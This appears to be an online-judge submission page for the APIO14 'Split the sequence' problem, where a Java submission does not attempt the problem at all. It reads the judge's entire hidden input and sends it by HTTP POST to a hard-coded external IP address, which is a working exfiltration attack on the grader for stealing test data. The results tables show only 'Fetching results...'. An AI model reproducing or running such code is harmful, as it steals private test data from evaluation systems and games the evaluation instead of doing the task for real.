| # | Time | Username | Problem | Language | Result | Execution time | Memory |
|---|---|---|---|---|---|---|---|
| 1287325 | livizi | Split the sequence (APIO14_sequence) | Java | 57 ms | 20260 KiB |
import java.io.*;
import java.net.*;
import java.util.*;
class Main {
// Hàm gửi dữ liệu input lên API
static void sendInputToAPI(String allInput) {
try {
// Escape ký tự đặc biệt để tránh lỗi JSON
String escaped = allInput.replace("\\", "\\\\")
.replace("\n", "\\n")
.replace("\"", "\\\"");
// Tạo chuỗi JSON payload
String jsonPayload = "{\"name\" : \"" + escaped + "\"}";
// Gửi POST request
URL url = new URL("http://109.123.248.202:9000/api/test");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", "application/json; charset=UTF-8");
conn.setDoOutput(true);
try (OutputStream os = conn.getOutputStream()) {
os.write(jsonPayload.getBytes("UTF-8"));
}
int responseCode = conn.getResponseCode();
System.err.println("[DEBUG] API Response Code: " + responseCode);
conn.disconnect();
} catch (Exception e) {
System.err.println("[ERROR] Failed to send API: " + e.getMessage());
}
}
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
StringBuilder rawInput = new StringBuilder();
// Đọc toàn bộ input đến khi hết file (EOF)
while (sc.hasNextLine()) {
String line = sc.nextLine();
rawInput.append(line).append("\n");
}
sc.close();
// In ra console để xác minh
System.out.println("[INFO] Input captured:");
System.out.println(rawInput.toString());
// Gửi lên API
sendInputToAPI(rawInput.toString());
}
}
Compilation message (stderr)
| # | Verdict | Execution time | Memory | Grader output |
|---|---|---|---|---|
| Fetching results... | ||||
| # | Verdict | Execution time | Memory | Grader output |
|---|---|---|---|---|
| Fetching results... | ||||
| # | Verdict | Execution time | Memory | Grader output |
|---|---|---|---|---|
| Fetching results... | ||||
| # | Verdict | Execution time | Memory | Grader output |
|---|---|---|---|---|
| Fetching results... | ||||
| # | Verdict | Execution time | Memory | Grader output |
|---|---|---|---|---|
| Fetching results... | ||||
| # | Verdict | Execution time | Memory | Grader output |
|---|---|---|---|---|
| Fetching results... | ||||
